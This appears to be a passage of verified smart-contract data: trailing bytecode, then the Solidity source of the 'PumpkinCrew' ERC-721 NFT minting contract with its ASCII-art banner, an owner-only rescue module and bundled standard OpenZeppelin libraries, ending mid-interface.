405162461bcd60e51b815260206004820152602660248201527f416464726573733a20696e73756666696369656e742062616c616e636520666f6044820152651c8818d85b1b60d21b6064820152608401610221565b843b610da85760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e74726163740000006044820152606401610221565b600080866001600160a01b03168587604051610dc49190610fc5565b60006040518083038185875af1925050503d8060008114610e01576040519150601f19603f3d011682016040523d82523d6000602084013e610e06565b606091505b5091509150610e16828286610e21565b979650505050505050565b60608315610e30575081610cf2565b825115610e405782518084602001fd5b8160405162461bcd60e51b81526004016102219190610ff5565b600060208284031215610e6b578081fd5b8135610cf28161110f565b60006020808385031215610e88578182fd5b825167ffffffffffffffff80821115610e9f578384fd5b818501915085601f830112610eb2578384fd5b815181811115610ec457610ec46110f9565b8060051b604051601f19603f83011681018181108582111715610ee957610ee96110f9565b604052828152858101935084860182860187018a1015610f07578788fd5b8795505b83861015610f29578051855260019590950194938601938601610f0b565b5098975050505050505050565b600060208284031215610f47578081fd5b81518015158114610cf2578182fd5b600060208284031215610f67578081fd5b8151610cf28161110f565b600060208284031215610f83578081fd5b5035919050565b600060208284031215610f9b578081fd5b5051919050565b60008060408385031215610fb4578081fd5b505080516020909101519092909150565b60008251610fd78184602087016110cd565b9190910192915050565b6001600160a01b0391909116815260200190565b60208152600082518060208401526110148160408501602087016110cd565b601f01601f19169190910160400192915050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b818110156110ac5784516001600160a01b031683529383019391830191600101611087565b50506001600160a01b03969096166060850152505050608001529392505050565b60005b838110156110e85781810151838201526020016110d0565b83811115610a945750506000910152565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461031657600080fdfea2646970667358221220b3ea280aa7df534d39c5a16ddd8c259281e24fbc3baefd3f4daeeb43208e446464736f6c63430008040033
[ 38 ]
0xf2CCcB1d1d3FCD0f1f386846b9034a36Eca86071
// SPDX-License-Identifier: UNLICENCED // _ (`-. _ .-') .-. .-') .-') _ _ .-') ('-. (`\ .-') /` // ( (OO ) ( '.( OO )_ \ ( OO ) ( OO ) ) ( \( -O ) _( OO) `.( OO ),' // _.` \,--. ,--. ,--. ,--.),--. ,--. ,-.-') ,--./ ,--,' .-----. ,------. (,------.,--./ .--. // (__...--''| | | | | `.' | | .' / | |OO)| \ | |\ ' .--./ | /`. ' | .---'| | | // | / | || | | .-') | | | /, | | \| \| | ) | |('-. | / | | | | | | | |, // | |_.' || |_|( OO )| |'.'| | | ' _) | |(_/| . |/ /_) |OO )| |_.' |(| '--. | |.'.| |_) // | .___.'| | | `-' /| | | | | . \ ,| |_.'| |\ | || |`-'| | . '.' | .--' | | // | | (' '-'(_.-' | | | | | |\ \(_| | | | \ | (_' '--'\ | |\ \ | `---.| ,'. | // `--' `-----' `--' `--' `--' '--' `--' `--' `--' `-----' `--' '--' `------''--' '--' //.--------........---....-.`.-........------------------------------------------------------------------------------- //``.------------.........---.`.--.``..------------------------------------------------------------------------------- //-------------------...`.---.`.-.`..--------------------------------------------------------------------------------- //----------------------..`.-.```.------------------------------------------------------------------------------------ //-------------------------.`````.------------------------------------------------------------------------------------ //---------------------------.`.-------------------------------------------------------------------------------------- //---------------------------.`.-------------------------------------------------------------------------------------- //---------------------------.`.-------------------------------------------------------------------------------------- //---------------------------.`.-------------------------------------------------------------------------------------- //---------------------------.`.-------------------------------------------------------------------------------------- //---------------------------.`.-------------------------------------------------------------------------------------- //-------------------------:sooos------------------------------------------------------------------------------------- //------------------------sshyyyhso----------------------------------------------------------------------------------- //------------------+yysyydhsssssddyysyy/----------------------------------------------------------------------------- //------------------omo/hddhssssshddh/smo----------------------------------------------------------------------------- //------------------odhy++ddddddddh/+hhd+----------------------------------------------------------------------------- //------------------::hmdhyyyyyyyyyhdms::----------------------------------------------------------------------------- //----------------+dhhdmdhssdhyhdyyyhmdhhd:--------------------------------------------------------------------------- //----------------+ho:hmmh.:yyyyydh-:ms:sh:--------------------------------------------------------------------------- //------------------+ydmmmddyyyyyddmmmhy+----------------------------------------------------------------------------- //------------------:/sydmddmdddmddmdyo/:----------------------------------------------------------------------------- //------------------omsoddsssoossssddoymo-------------/////----------------------------------------------------------- //------------------/oooddo/-.`.-+oddooo/-----------/+sssys//--------------------------------------------------------- //----------------------+omy-.`.-hdo+-------------++s+.....oo+/------------------------------------------------------- //------------------------++s/`/s+/-------------++so---------ss+:----------------------------------------------------- //-------------------------/m+`om:--------------hm:--:+:-----+smo----------------------------------------------------- //--------------------------/-`-/-------------+ssy::/+o//-.//o+++s:--------------------------------------------------- //----------------------------.---------------smsooossooo+/ooo+/sm/--------------------------------------------------- //--------------------------------------------sdsoooooo+////////sd/-----------------------------------/y/---yyyo------ //----------------------------yyyyyyyyyyyyyyyy+:///////:---------:syyyyyyyyyyyyyyy+------:hhy+-oyyyyyyo/oyyyosmy------ //-------------------------:syoo::::::::::/+os+:///////:::::::::::os++::::::::::::+y+:---:dhssy++::+/::-:::::/ds:----- //------------------------+d/-/////:::/++++ooo/://///////::///////+o++++++/////::/::od:---:+do::/-----------::/+y+:--- //------------------------om:./+o++:./+ooooo++:./+ooooo++-.++ooooo++--++ooooo+/.-+++ym:----/mo-:/----------------sd/-- //------------------------+y/:--+/...../+o+/:...../+o+/-...../+o+/-....-/+o+/-.---/syy:----/my+////++-:::://-----ym/-- //--------------------------syo+::-------+/---------+/--------:+:--------:+:---:/+sy+------/myo////++//+:-:/--//osy:-- //----------------------------osooo/----------------------------------------:+ooos+-------+oyso/////////:-:/--/om+---- //-----------------------------:ssso+++++++++++++++++++++++++++++++++++++++++osso-----+ooomh++o//////::/:-:///sss/---- //---------------------------------/+hmhhyyyyyhddmmmmddhyyyssssssyyydmmdyhmso:--------hdyymy//+/////:-:/:://yhmy------ //-----------------------------------smyyooooooodmmh+sdhyo+//////+yh+omhoym/----------++yyys+///+////::///syyymy------ //-----------------------------------smyyooooo+/ooddyhmso/////////hmyyys+sm/------------/+hyo+/+o/////////oshy/:------ //-----------------------------------smyyoshso+///ss+++///////////++ss+//sm/--------------/+hs+ss//////+shhh/:-------- //-----------------------------------smyyoosshhd+/oo///shhddhoooydddsoo+/sm/---------------/mhyyy////+sdo:::---------- //-----------------------------------sdyyyso++shhhdddddddmmmddddddddhhoo+sd/-------------:dyo/:oyyyddho:-------------- //-------------------------------------ddyyooo++++hddddddhhhy+ohysyydd+ods---------------:mh/:--:++hy----------------- //-----------------------------------:/hdddyysoo+/++oo++//////////syyyddmy////////:-----:+ddho/++ys:------------------ //-----------------------------------+yhhyydhhysssoooosoooooooooooydyyyymdddddddddo-----hdyyhyyyy:-------------------- //-------------------------------------syhhyhddddddddddddddddddddddmyyyyddhhhhhhhms---/+hhyhmo------------------------ //-------------------------------------+odddhhhhhhhysyhhhhhsssyhhhdmhhyhhhyyyyyyyms---hmyydhs/------------------------ //-------------------------------------dmhdmdhyyyyyyosyyyysooosyyyyhddhhhhyyyyyhhs/-/ohhyhmy-------------------------- //-----------------------------------+shhhhmmmhyyyysosyhhsooooossysoyyddddddhhh++---omyydh+/-------------------------- //-----------------------------------smhhddmddhyyyssoshhhysoooooosssooyymy+++++---/syhyhdh---------------------------- //---------------------------------+yyhhhmmmdyyyyyoooshhhyyooooooossooosms--------omhydd+/---------------------------- //-------------------------------/yyhhdhhmddhyyyyyooyyhhhhhooooooooossossyy/----:yyyhhdd:----------------------------- //-----------------------------/hhyhhhdddhhyyyyyyyoshhhdddhysooooooooshyossyh/--:dhyhm+:------------------------------ //---------------------------:yhyyhhhddddhhyyyyyyyhhhhhhhddhhoooooooooyyhyohmhhyyyhhhd:------------------------------- //--------------------------hdssyyhhhhhddyyyyyyyoohhhhhdmdhhhysooooooooshyyyy+/-:mmmo--------------------------------- //--------------------------yhyyyhhhyhhssssyyyyysshhdhhdmmmhhyyooooooooossyyyo++omdh+--------------------------------- //----------------------------syyo-+yyhhhyyooosshhddddddhhhddhysooooosyyysoosdmddms----------------------------------- pragma solidity ^0.8.0; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol"; import "./Rescue.sol"; contract PumpkinCrew is ERC721Enumerable, ReentrancyGuard, Rescue { /// @notice Available NFT supply uint256 public immutable AVAILABLE_SUPPLY; /// @notice Cost to mint each NFT (in wei) uint256 public immutable MINT_COST; /// @notice Maximum mints per address uint256 public immutable MAX_PER_ADDRESS; /// @notice Start time for minting uint256 public immutable MINTING_START_TIME; /// @notice Earliest reveal time uint256 public immutable REVEAL_TIME; /// @notice hashed final metadata: keccak256(abi.encodePacked(_baseTokenURI) bytes32 public immutable METADATA_HASH; /// @notice Base URI used when returning token metadata string public baseTokenURI; /// @notice Indicator if final metadata is revealed bool public revealed = false; /// @notice Indicator if to include token id in token uri before the reveal bool public includeTokenId = false; /// @notice Address to number of mints mapping(address => uint256) public mintsPerAddress; /// @notice Number of NFTs minted uint256 public totalMinted = 0; constructor( string memory _NFT_NAME, string memory _NFT_SYMBOL, uint256 _MINTING_START_TIME, uint256 _MINT_COST, uint256 _AVAILABLE_SUPPLY, uint256 _MAX_PER_ADDRESS, uint256 _METADATA_REVEAL_TIME, bytes32 _METADATA_HASH, string memory _baseTokenURI ) ERC721(_NFT_NAME, _NFT_SYMBOL) { MINTING_START_TIME = _MINTING_START_TIME; REVEAL_TIME = _METADATA_REVEAL_TIME; METADATA_HASH = _METADATA_HASH; MINT_COST = _MINT_COST; AVAILABLE_SUPPLY = _AVAILABLE_SUPPLY; MAX_PER_ADDRESS = _MAX_PER_ADDRESS; baseTokenURI = _baseTokenURI; } function mintNft(uint256 count) external payable nonReentrant { _mintNft(msg.sender, count); } function mintNftOnBehalf(address beneficiary, uint256 count) external payable nonReentrant { require(beneficiary != address(0), "address"); _mintNft(beneficiary, count); } function mintNftAdmin(address beneficiary, uint256 count) external nonReentrant onlyOwner { require(beneficiary != address(0), "address"); _mintNftAdmin(beneficiary, count); } /** * @dev Admin can change base URI as many times as needed before the reveal. */ function changePreRevealBaseTokenURI(string calldata _baseTokenURI) external onlyOwner { require(!revealed, "revealed"); baseTokenURI = _baseTokenURI; } /** * @dev Reveal final metadata. Should match the stored hash. */ function revealMetadata(string calldata _baseTokenURI) external onlyOwner { require(totalMinted == AVAILABLE_SUPPLY || block.timestamp >= REVEAL_TIME, "not yet"); require(keccak256(abi.encodePacked(_baseTokenURI)) == METADATA_HASH, "hash"); require(!revealed, "revealed"); revealed = true; baseTokenURI = _baseTokenURI; } /** * @dev Admin can change if token id should be included in token URI before the reveal */ function setIncludeTokenId(bool _include) external onlyOwner { includeTokenId = _include; } /** * @dev Burns `tokenId`. See {ERC721-_burn}. * Requirements: * - The caller must own `tokenId` or be an approved operator. */ function burn(uint256 tokenId) external { require(_isApprovedOrOwner(_msgSender(), tokenId), "not owner nor approved"); _burn(tokenId); } function _baseURI() internal view virtual override returns (string memory) { return baseTokenURI; } function tokenURI(uint256 tokenId) public view override returns (string memory) { if (revealed || includeTokenId) { return super.tokenURI(tokenId); } require(_exists(tokenId), "nonexistent"); return baseTokenURI; } function _mintNft(address _beneficiary, uint256 _count) internal { require(block.timestamp >= MINTING_START_TIME, "start"); require(!revealed, "revealed"); require(_count > 0, "count"); require(msg.value == _count * MINT_COST, "payment"); uint256 addressMints = mintsPerAddress[_beneficiary] + _count; require(addressMints <= MAX_PER_ADDRESS, "max"); uint256 nextTokenId = totalMinted; uint256 totalMints = nextTokenId + _count; require(totalMints <= AVAILABLE_SUPPLY, "supply"); for (uint256 i = 0; i < _count; i++) { _safeMint(_beneficiary, nextTokenId); nextTokenId++; } mintsPerAddress[_beneficiary] = addressMints; totalMinted = totalMints; } function _mintNftAdmin(address _beneficiary, uint256 _count) internal { require(revealed, "revealed"); require(_count > 0, "count"); uint256 nextTokenId = totalMinted; uint256 totalMints = nextTokenId + _count; require(totalMints <= AVAILABLE_SUPPLY, "supply"); for (uint256 i = 0; i < _count; i++) { _safeMint(_beneficiary, nextTokenId); nextTokenId++; } mintsPerAddress[owner()] += _count; totalMinted = totalMints; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../ERC721.sol"; import "./IERC721Enumerable.sol"; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.0; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; /// @notice Collect ETH or in an unlikely scenario of tokens being sent to this contract allow admin to rescue them abstract contract Rescue is Ownable { using SafeERC20 for IERC20; function rescueEth(address payable _beneficiary) external onlyOwner { uint256 amount = address(this).balance; require(amount > 0, "amount"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success,) = _beneficiary.call{ value : amount}(""); require(success, "send failed"); } function rescueERC20(address _token, uint256 _amount, address _beneficiary) external onlyOwner { require(_amount > 0, "amount"); IERC20(_token).safeTransfer(_beneficiary, _amount); } function rescueERC721(address _token, uint256 _tokenId, address _beneficiary) external onlyOwner { IERC721(_token).safeTransferFrom(address(this), _beneficiary, _tokenId); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC721.sol"; import "./IERC721Receiver.sol"; import "./extensions/IERC721Metadata.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/Strings.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns 